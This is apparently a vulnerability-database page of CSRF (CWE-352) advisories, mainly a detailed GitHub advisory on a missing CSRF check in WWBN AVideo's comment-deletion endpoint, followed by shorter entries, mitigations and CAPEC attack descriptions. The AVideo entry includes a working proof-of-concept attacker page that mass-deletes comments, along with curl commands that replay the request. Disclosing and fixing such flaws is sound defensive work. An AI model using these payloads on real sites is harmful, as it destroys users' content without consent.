      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/tags/1.7/inc/admin/im-textp2p-options.php#L7"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L299"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/textp2p-texting-widget/trunk/inc/admin/im-textp2p-options.php#L7"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d36fa25-108b-462b-b84e-2e77943b1871?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QM8-G55H-XMQR

Vulnerability from github – Published: 2026-04-14 23:13 – Updated: 2026-04-24 20:32
VLAI
Summary
WWBN AVideo is missing CSRF protection in objects/commentDelete.json.php enables mass comment deletion against moderators and content creators
Details

Summary

objects/commentDelete.json.php is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call forbidIfIsUntrustedRequest(), does not verify a CSRF/global token, and does not check Origin/Referer. Because AVideo intentionally sets session.cookie_samesite=None (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's PHPSESSID. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.

Details

Vulnerable endpoint: objects/commentDelete.json.php

// objects/commentDelete.json.php:1-35
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_REQUEST['id']);      // <-- GET or POST
$obj->status = false;

if (empty($obj->id)) {
    $obj->id = intval(@$_REQUEST['comments_id']);
}

if (empty($obj->id)) {
    $obj->msg = __("ID can not be empty");
    die(_json_encode($obj));
}

$objC = new Comment("", 0, $obj->id);
$obj->videos_id = $objC->getVideos_id();
$obj->status = $objC->delete();           // <-- destructive action, no CSRF check
...

No forbidIfIsUntrustedRequest(), no verifyToken(), no token/nonce parameter, no Origin/Referer validation. The handler accepts $_REQUEST, so the request may be delivered as GET (e.g. via <img src>) or POST (e.g. via an auto-submitting form / fetch).

Authorization inside Comment::delete() does not stop CSRF

// objects/comment.php:147-159
public function delete() {
    if (!self::userCanAdminComment($this->id)) {
        return false;
    }
    ...
    $sql = "DELETE FROM comments WHERE id = ?";
    ...
    return sqlDAL::writeSql($sql, "i", [$this->id]);
}

// objects/comment.php:316-332
public static function userCanAdminComment($comments_id) {
    if (!User::isLogged()) { return false; }
    if (Permissions::canAdminComment()) { return true; }   // site moderator
    $obj = new Comment("", 0, $comments_id);
    if ($obj->users_id == User::getId()) { return true; }  // comment owner
    $video = new Video("", "", $obj->videos_id);
    if ($video->getUsers_id() == User::getId()) { return true; } // video owner
    return false;
}

This check is exactly what CSRF abuses: it asks "is the session user allowed to delete this comment?" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.

Site-wide cookie policy makes cross-site delivery reliable

// objects/include_config.php:139-146
if ($isHTTPS) {
    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding
    // where users must stay authenticated (e.g. video players on third-party sites).
    // Setting Lax would break that use case. All state-mutating endpoints that are
    // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

The in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. commentDelete.json.php forgets to apply it. The canonical example that does get it right is objects/userUpdate.json.php:18:

// objects/userUpdate.json.php:13-18
if (!User::isLogged()) {
    $obj->msg = __("Is not logged");
    die(json_encode($obj));
}

forbidIfIsUntrustedRequest();   // <-- what commentDelete.json.php is missing

A repository-wide grep for forbidIfIsUntrustedRequest yields only objects/userUpdate.json.php and the function definition itself — no shared middleware exists, and no bootstrap in configuration.php / include_config.php wraps endpoints with a CSRF check.

Attacker model / victim value

  • Site moderators (any account with Permissions::canAdminComment()): full-site comment deletion oracle.
  • Video creators (channel owners): deletion oracle for every comment on their own videos.
  • Comment authors: only their own comments (self-DoS, low value).

The first two classes make this a real integrity/availability attack on community content.

PoC

Assume the target AVideo instance runs at https://victim.example.com and the victim is a logged-in moderator (or any video owner). The attacker hosts:

<!-- https://attacker.example/mass-delete.html -->
<!doctype html>
<html><body>
<h1>Cute kittens</h1>
<!-- GET variant (works because the endpoint uses $_REQUEST): -->
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=1" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=2" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=3" style="display:none">
<!-- ... up to N -->

<!-- POST variant (same result, reaches the POST code path the legit UI uses): -->
<script>
for (let i = 1; i <= 10000; i++) {
  fetch("https://victim.example.com/objects/commentDelete.json.php", {
    method: "POST",
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "comments_id=" + i
  });
}
</script>
</body></html>

Manual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):

# 1. Log in as a moderator and capture PHPSESSID
curl -c cookies.txt -d 'user=moderator&pass=pass' \
  https://victim.example.com/objects/userLogin.json.php

# 2. Call the endpoint with nothing but the session cookie and a comments_id.
#    No CSRF token, no Referer/Origin matching the site.
curl -b cookies.txt \
  -H 'Origin: https://attacker.example' \
  -H 'Referer: https://attacker.example/mass-delete.html' \
  'https://victim.example.com/objects/commentDelete.json.php?comments_id=1'
# -> {"error":false,"msg":"","id":1,"status":true,"videos_id":...}

The {"status":true,"error":false} response confirms the row was deleted; compare with objects/userUpdate.json.php under the same Origin/Referer, which returns the "Invalid Request" forbidden page from forbidIfIsUntrustedRequest().

Impact

  • Cross-site mass deletion of comments.
  • Against a site moderator (Permissions::canAdminComment()), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer.
  • Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).
  • The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed.
  • No credential compromise is required; the attack does not leak data, but it destroys it.
  • Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.

Recommended Fix

Apply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:

  1. Require an authenticated session and reject untrusted-origin requests (same treatment as userUpdate.json.php).
  2. Restrict the method to POST so drive-by <img> and navigational GET deliveries cannot reach the sink.
// objects/commentDelete.json.php
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';

// --- added CSRF defense ---
if (!User::isLogged()) {
    die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')]));
}
forbidIfIsUntrustedRequest();                       // Referer/Origin gate
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {         // no $_REQUEST drive-by
    die(_json_encode((object)['error' => true, 'msg' => 'POST required']));
}
// --- end added ---

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_POST['id']);
$obj->status = false;

if (empty($obj->id)) {
    $obj->id = intval(@$_POST['comments_id']);
}
...

Stronger (recommended): also require a short-lived global token via verifyToken() as the in-source comment in objects/include_config.php prescribes, and audit every other objects/*.json.php handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces forbidIfIsUntrustedRequest() for any json.php that mutates state.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:13:08Z",
    "nvd_published_at": "2026-04-21T23:16:20Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`objects/commentDelete.json.php` is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call `forbidIfIsUntrustedRequest()`, does not verify a CSRF/global token, and does not check `Origin`/`Referer`. Because AVideo intentionally sets `session.cookie_samesite=None` (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim\u0027s `PHPSESSID`. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.\n\n## Details\n\n### Vulnerable endpoint: `objects/commentDelete.json.php`\n\n```php\n// objects/commentDelete.json.php:1-35\n\u003c?php\nheader(\u0027Content-Type: application/json\u0027);\nglobal $global, $config;\nif (!isset($global[\u0027systemRootPath\u0027])) {\n    require_once \u0027../videos/configuration.php\u0027;\n}\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/comment.php\u0027;\n\n$obj = new stdClass();\n$obj-\u003eerror = true;\n$obj-\u003emsg = \u0027\u0027;\n$obj-\u003eid = intval(@$_REQUEST[\u0027id\u0027]);      // \u003c-- GET or POST\n$obj-\u003estatus = false;\n\nif (empty($obj-\u003eid)) {\n    $obj-\u003eid = intval(@$_REQUEST[\u0027comments_id\u0027]);\n}\n\nif (empty($obj-\u003eid)) {\n    $obj-\u003emsg = __(\"ID can not be empty\");\n    die(_json_encode($obj));\n}\n\n$objC = new Comment(\"\", 0, $obj-\u003eid);\n$obj-\u003evideos_id = $objC-\u003egetVideos_id();\n$obj-\u003estatus = $objC-\u003edelete();           // \u003c-- destructive action, no CSRF check\n...\n```\n\nNo `forbidIfIsUntrustedRequest()`, no `verifyToken()`, no token/nonce parameter, no `Origin`/`Referer` validation. The handler accepts `$_REQUEST`, so the request may be delivered as `GET` (e.g. via `\u003cimg src\u003e`) or `POST` (e.g. via an auto-submitting form / `fetch`).\n\n### Authorization inside `Comment::delete()` does not stop CSRF\n\n```php\n// objects/comment.php:147-159\npublic function delete() {\n    if (!self::userCanAdminComment($this-\u003eid)) {\n        return false;\n    }\n    ...\n    $sql = \"DELETE FROM comments WHERE id = ?\";\n    ...\n    return sqlDAL::writeSql($sql, \"i\", [$this-\u003eid]);\n}\n\n// objects/comment.php:316-332\npublic static function userCanAdminComment($comments_id) {\n    if (!User::isLogged()) { return false; }\n    if (Permissions::canAdminComment()) { return true; }   // site moderator\n    $obj = new Comment(\"\", 0, $comments_id);\n    if ($obj-\u003eusers_id == User::getId()) { return true; }  // comment owner\n    $video = new Video(\"\", \"\", $obj-\u003evideos_id);\n    if ($video-\u003egetUsers_id() == User::getId()) { return true; } // video owner\n    return false;\n}\n```\n\nThis check is exactly what CSRF abuses: it asks \"is the session user allowed to delete this comment?\" In a CSRF attack, the session user is the victim, and yes \u2014 the victim is allowed. So the check grants the request.\n\n### Site-wide cookie policy makes cross-site delivery reliable\n\n```php\n// objects/include_config.php:139-146\nif ($isHTTPS) {\n    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n    // where users must stay authenticated (e.g. video players on third-party sites).\n    // Setting Lax would break that use case. All state-mutating endpoints that are\n    // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\n    ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n    ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThe in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. `commentDelete.json.php` forgets to apply it. The canonical example that does get it right is `objects/userUpdate.json.php:18`:\n\n```php\n// objects/userUpdate.json.php:13-18\nif (!User::isLogged()) {\n    $obj-\u003emsg = __(\"Is not logged\");\n    die(json_encode($obj));\n}\n\nforbidIfIsUntrustedRequest();   // \u003c-- what commentDelete.json.php is missing\n```\n\nA repository-wide grep for `forbidIfIsUntrustedRequest` yields only `objects/userUpdate.json.php` and the function definition itself \u2014 no shared middleware exists, and no bootstrap in `configuration.php` / `include_config.php` wraps endpoints with a CSRF check.\n\n### Attacker model / victim value\n\n- **Site moderators** (any account with `Permissions::canAdminComment()`): full-site comment deletion oracle.\n- **Video creators** (channel owners): deletion oracle for every comment on their own videos.\n- **Comment authors**: only their own comments (self-DoS, low value).\n\nThe first two classes make this a real integrity/availability attack on community content.\n\n## PoC\n\nAssume the target AVideo instance runs at `https://victim.example.com` and the victim is a logged-in moderator (or any video owner). The attacker hosts:\n\n```html\n\u003c!-- https://attacker.example/mass-delete.html --\u003e\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003ch1\u003eCute kittens\u003c/h1\u003e\n\u003c!-- GET variant (works because the endpoint uses $_REQUEST): --\u003e\n\u003cimg src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=1\" style=\"display:none\"\u003e\n\u003cimg src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=2\" style=\"display:none\"\u003e\n\u003cimg src=\"https://victim.example.com/objects/commentDelete.json.php?comments_id=3\" style=\"display:none\"\u003e\n\u003c!-- ... up to N --\u003e\n\n\u003c!-- POST variant (same result, reaches the POST code path the legit UI uses): --\u003e\n\u003cscript\u003e\nfor (let i = 1; i \u003c= 10000; i++) {\n  fetch(\"https://victim.example.com/objects/commentDelete.json.php\", {\n    method: \"POST\",\n    credentials: \"include\",\n    headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n    body: \"comments_id=\" + i\n  });\n}\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nManual verification of the server-side handler with the victim\u0027s own cookie (demonstrates that the endpoint itself performs the delete with no token):\n\n```bash\n# 1. Log in as a moderator and capture PHPSESSID\ncurl -c cookies.txt -d \u0027user=moderator\u0026pass=pass\u0027 \\\n  https://victim.example.com/objects/userLogin.json.php\n\n# 2. Call the endpoint with nothing but the session cookie and a comments_id.\n#    No CSRF token, no Referer/Origin matching the site.\ncurl -b cookies.txt \\\n  -H \u0027Origin: https://attacker.example\u0027 \\\n  -H \u0027Referer: https://attacker.example/mass-delete.html\u0027 \\\n  \u0027https://victim.example.com/objects/commentDelete.json.php?comments_id=1\u0027\n# -\u003e {\"error\":false,\"msg\":\"\",\"id\":1,\"status\":true,\"videos_id\":...}\n```\n\nThe `{\"status\":true,\"error\":false}` response confirms the row was deleted; compare with `objects/userUpdate.json.php` under the same Origin/Referer, which returns the \"Invalid Request\" forbidden page from `forbidIfIsUntrustedRequest()`.\n\n## Impact\n\n- Cross-site mass deletion of comments.\n- Against a site moderator (`Permissions::canAdminComment()`), the attacker can permanently delete every comment on the platform \u2014 a severe content-integrity and availability hit on the community layer.\n- Against any channel owner, the attacker can wipe all discussion under that creator\u0027s videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).\n- The attack only requires luring a logged-in victim to any page that can fetch/embed/submit \u2014 a forum post, a compromised ad, a link in email, a rogue embed.\n- No credential compromise is required; the attack does not leak data, but it destroys it.\n- Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.\n\n## Recommended Fix\n\nApply the project\u0027s own prescribed CSRF pattern to the handler. Two layers are appropriate:\n\n1. Require an authenticated session and reject untrusted-origin requests (same treatment as `userUpdate.json.php`).\n2. Restrict the method to `POST` so drive-by `\u003cimg\u003e` and navigational `GET` deliveries cannot reach the sink.\n\n```php\n// objects/commentDelete.json.php\n\u003c?php\nheader(\u0027Content-Type: application/json\u0027);\nglobal $global, $config;\nif (!isset($global[\u0027systemRootPath\u0027])) {\n    require_once \u0027../videos/configuration.php\u0027;\n}\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/comment.php\u0027;\n\n// --- added CSRF defense ---\nif (!User::isLogged()) {\n    die(_json_encode((object)[\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e __(\u0027Is not logged\u0027)]));\n}\nforbidIfIsUntrustedRequest();                       // Referer/Origin gate\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] !== \u0027POST\u0027) {         // no $_REQUEST drive-by\n    die(_json_encode((object)[\u0027error\u0027 =\u003e true, \u0027msg\u0027 =\u003e \u0027POST required\u0027]));\n}\n// --- end added ---\n\n$obj = new stdClass();\n$obj-\u003eerror = true;\n$obj-\u003emsg = \u0027\u0027;\n$obj-\u003eid = intval(@$_POST[\u0027id\u0027]);\n$obj-\u003estatus = false;\n\nif (empty($obj-\u003eid)) {\n    $obj-\u003eid = intval(@$_POST[\u0027comments_id\u0027]);\n}\n...\n```\n\nStronger (recommended): also require a short-lived global token via `verifyToken()` as the in-source comment in `objects/include_config.php` prescribes, and audit every other `objects/*.json.php` handler that performs a write \u2014 the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces `forbidIfIsUntrustedRequest()` for any `json.php` that mutates state.",
  "id": "GHSA-8qm8-g55h-xmqr",
  "modified": "2026-04-24T20:32:38Z",
  "published": "2026-04-14T23:13:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8qm8-g55h-xmqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40929"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/184f36b1896f3364f864f17c1acca3dd8df3af27"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo is missing CSRF protection in objects/commentDelete.json.php enables mass comment deletion against moderators and content creators"
}

GHSA-8QMF-PWHH-PHX8

Vulnerability from github – Published: 2022-05-17 03:11 – Updated: 2022-05-17 03:11
VLAI
Details

Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK & Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allow remote attackers to bypass a CVE-2014-5333 protection mechanism via unspecified vectors.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-3096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-06-10T01:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK \u0026 Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allow remote attackers to bypass a CVE-2014-5333 protection mechanism via unspecified vectors.",
  "id": "GHSA-8qmf-pwhh-phx8",
  "modified": "2022-05-17T03:11:57Z",
  "published": "2022-05-17T03:11:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3096"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/flash-player/apsb15-11.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201506-01"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00005.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-06/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1086.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/75088"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1032519"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8QMP-RPJ6-V84X

Vulnerability from github – Published: 2024-03-18 09:30 – Updated: 2024-10-31 21:31
VLAI
Details

Cross-site request forgery vulnerability in FUJIFILM printers which implement CentreWare Internet Services or Internet Services allows a remote unauthenticated attacker to alter user information. In the case the user is an administrator, the settings such as the administrator's ID, password, etc. may be altered. As for the details of affected product names, model numbers, and versions, refer to the information provided by the vendor listed under [References].

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-18T08:15:06Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site request forgery vulnerability in FUJIFILM printers which implement CentreWare Internet Services or Internet Services allows a remote unauthenticated attacker to alter user information. In the case the user is an administrator, the settings such as the administrator\u0027s ID, password, etc. may be altered. As for the details of affected product names, model numbers, and versions, refer to the information provided by the vendor listed under [References].",
  "id": "GHSA-8qmp-rpj6-v84x",
  "modified": "2024-10-31T21:31:44Z",
  "published": "2024-03-18T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27974"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN34328023"
    },
    {
      "type": "WEB",
      "url": "https://www.fujifilm.com/fbglobal/eng/company/news/notice/2024/0306_1_announce.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QMX-Q6VC-F5MV

Vulnerability from github – Published: 2022-05-14 01:14 – Updated: 2022-05-14 01:14
VLAI
Details

JioFi 4G M2S 1.0.2 devices have CSRF via the SSID name and Security Key field under Edit Wi-Fi Settings (aka a SetWiFi_Setting request to cgi-bin/qcmap_web_cgi).

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-7440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-21T16:01:00Z",
    "severity": "MODERATE"
  },
  "details": "JioFi 4G M2S 1.0.2 devices have CSRF via the SSID name and Security Key field under Edit Wi-Fi Settings (aka a SetWiFi_Setting request to cgi-bin/qcmap_web_cgi).",
  "id": "GHSA-8qmx-q6vc-f5mv",
  "modified": "2022-05-14T01:14:04Z",
  "published": "2022-05-14T01:14:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7440"
    },
    {
      "type": "WEB",
      "url": "https://gkaim.com/cve-2019-7440-vikas-chaudhary"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46633"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/152361/JioFi-4G-M2S-1.0.2-Cross-Site-Request-Forgery.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QQF-PPFV-5M7W

Vulnerability from github – Published: 2023-04-06 15:30 – Updated: 2023-04-12 21:30
VLAI
Details

Cross-Site Request Forgery (CSRF) vulnerability in HasThemes Really Simple Google Tag Manager plugin <= 1.0.6 versions.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-23801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-06T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in HasThemes Really Simple Google Tag Manager plugin \u003c= 1.0.6 versions.",
  "id": "GHSA-8qqf-ppfv-5m7w",
  "modified": "2023-04-12T21:30:20Z",
  "published": "2023-04-06T15:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23801"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/really-simple-google-tag-manager/wordpress-really-simple-google-tag-manager-plugin-1-0-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
  • Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Mitigation
Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Mitigation
Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Mitigation
Architecture and Design
  • Use the "double-submitted cookie" method as described by Felten and Zeller:
  • When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
  • Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
  • This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Architecture and Design

Do not use the GET method for any request that triggers a state change.

Mitigation
Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-467: Cross Site Identification

An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list